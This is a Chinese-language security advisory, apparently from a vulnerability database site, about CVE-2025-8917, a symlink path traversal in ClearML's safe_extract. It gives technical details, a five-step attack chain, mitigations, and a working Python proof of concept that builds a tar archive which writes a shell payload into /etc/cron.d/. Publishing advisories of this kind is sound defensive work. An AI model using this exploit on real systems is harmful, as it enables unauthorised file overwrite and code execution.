IPBUF安全漏洞报告
English
CVE-2025-8917 CVSS 5.8 中危

CVE-2025-8917 allegroai/clearml 路径遍历导致任意文件写入漏洞

披露日期: 2025-10-05

漏洞信息

漏洞编号
CVE-2025-8917
漏洞类型
路径遍历(Path Traversal)
CVSS评分
5.8 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
allegroai/clearml

相关标签

路径遍历符号链接CVE-2025-8917allegroaiclearml任意文件写入远程代码执行tarsafe_extract机器学习平台

漏洞概述

CVE-2025-8917 是 allegroai/clearml v2.0.1 版本中存在的一个路径遍历漏洞。该漏洞源于项目中的 `safe_extract` 函数对符号链接(symbolic links)和硬链接(hard links)的处理不当。ClearML 是一个开源的机器学习平台,广泛用于实验管理、模型管理和工作流编排。当用户通过 `safe_extract` 函数解压归档文件(如 tar、zip 等)时,由于未能正确验证归档中包含的链接目标,攻击者可以构造恶意的归档文件,其中包含指向归档目录之外路径的符号链接或硬链接。当受害者解压此类恶意归档时,文件将被写入到预期目录之外的位置,从而实现任意文件写入。

该漏洞的 CVSS 评分为 5.8,属于中危级别。虽然攻击向量为本地(AV:L),需要高权限(PR:H)和用户交互(UI:R),但其完整性和机密性影响均为高(C:H/I:H),可用性影响为无(A:N)。如果攻击者能够利用此漏洞覆盖关键系统文件或应用配置文件,可能进一步导致远程代码执行(RCE)。该漏洞由 [email protected] 发现并报告,披露日期为 2025 年 10 月 5 日。

技术细节

该漏洞的核心问题在于 `safe_extract` 函数在解压归档文件时未能充分验证归档条目中的符号链接和硬链接。具体技术原理如下:

1. **符号链接遍历**:当 tar/zip 归档中包含符号链接条目时,`safe_extract` 函数未检查链接目标是否指向归档解压目录之外。攻击者可以创建一个符号链接,指向如 `/etc/cron.d/`、`/root/.ssh/authorized_keys` 或应用程序配置目录等敏感位置。随后,归档中的常规文件可以通过该符号链接写入到目标位置。

2. **硬链接遍历**:类似地,硬链接(hard links)允许引用同一文件系统上的其他 inode。如果 `safe_extract` 允许创建硬链接指向归档目录之外的文件,攻击者可以覆盖任意文件的内容。

3. **利用方式**:攻击者首先构造一个恶意的 tar 归档,其中包含一个指向目标路径的符号链接(如指向 `/tmp/target`),然后包含一个通过该符号链接路径写入内容的常规文件。当受害者在 ClearML 环境中解压该归档时,文件将被写入到预期目录之外的位置。

4. **升级到 RCE**:如果攻击者覆盖了 Python 包的 `__init__.py` 文件、shell 配置文件(如 `.bashrc`、`.zshrc`),或计划任务文件,就可以在用户下次登录或系统执行计划任务时实现远程代码执行。

修复提交为 https://github.com/allegroai/clearml/commit/64fb2bcbdbb87a74af90dd723d5ef4a99fceeb73,修复方案是在解压前检查链接目标是否在允许的目录范围内。

攻击链分析

STEP 1
步骤1:构造恶意归档文件
攻击者创建一个恶意的 tar 归档文件,其中包含一个指向归档目录之外路径(如 /etc/cron.d/)的符号链接,以及通过该符号链接路径写入内容的常规文件。
STEP 2
步骤2:投递恶意归档
攻击者通过 ClearML 平台的功能(如上传数据集、模型工件等)将恶意归档文件投递到目标 ClearML 服务器或工作环境中。
STEP 3
步骤3:触发解压操作
受害者在 ClearML 环境中执行解压操作(如下载工件、加载数据集等),触发存在漏洞的 safe_extract 函数对恶意归档进行解压。
STEP 4
步骤4:路径遍历写入
由于 safe_extract 未验证符号链接目标是否在允许目录内,恶意归档中的文件被写入到预期目录之外的位置(如 /etc/cron.d/payload.sh)。
STEP 5
步骤5:实现远程代码执行
如果攻击者覆盖了关键文件(如 cron 任务、SSH 授权密钥、Python 库文件等),可在用户下次登录或系统执行计划任务时实现远程代码执行,完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-8917 PoC - Path Traversal via Symbolic Links in safe_extract Target: allegroai/clearml v2.0.1 Vulnerability: Improper handling of symbolic/hard links in safe_extract function """ import tarfile import os import io def create_malicious_tar(output_path, target_path): """ Create a malicious tar archive that exploits the path traversal vulnerability by using a symbolic link pointing outside the extraction directory. """ with tarfile.open(output_path, 'w') as tar: # Step 1: Add a symbolic link pointing to a sensitive location symlink_info = tarfile.TarInfo(name='evil_link') symlink_info.type = tarfile.SYMTYPE symlink_info.linkname = target_path tar.addfile(symlink_info) # Step 2: Add a file through the symbolic link # This file will be written to target_path instead of the extraction dir content = b"#!/bin/bash\nid > /tmp/pwned\n" file_info = tarfile.TarInfo(name='evil_link/payload.sh') file_info.size = len(content) tar.addfile(file_info, io.BytesIO(content)) def exploit(target_path="/tmp/clearml_exploit"): """ Main exploit function: 1. Create malicious tar archive 2. Simulate safe_extract call (vulnerable version) 3. Demonstrate arbitrary file write """ os.makedirs(target_path, exist_ok=True) tar_path = os.path.join(target_path, "malicious.tar") # Create malicious archive targeting /etc/cron.d/ for RCE create_malicious_tar(tar_path, "/etc/cron.d/") print(f"[+] Malicious tar created at: {tar_path}") print(f"[+] When extracted via vulnerable safe_extract(),") print(f" payload.sh will be written to /etc/cron.d/payload.sh") print(f"[+] This achieves arbitrary file write outside extraction dir") # Simulate the vulnerable extraction extract_dir = os.path.join(target_path, "extracted") os.makedirs(extract_dir, exist_ok=True) with tarfile.open(tar_path, 'r') as tar: # VULNERABLE: safe_extract does not validate symlink targets # In the fixed version, this would check that link targets # are within the extraction directory tar.extractall(path=extract_dir) print(f"[+] Extraction complete. Check {extract_dir} and target paths.") if __name__ == "__main__": exploit()

影响范围

allegroai/clearml v2.0.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制 ClearML 服务的文件系统访问权限,使用 chroot 或容器隔离运行环境;2)在解压归档前手动验证归档内容(使用 `tar -tvf` 检查链接目标);3)禁用或限制用户上传归档文件的功能;4)监控关键系统目录(如 /etc/、/root/、用户主目录)的异常文件变更;5)将 ClearML 进程以低权限用户运行,限制其写入系统关键目录的能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表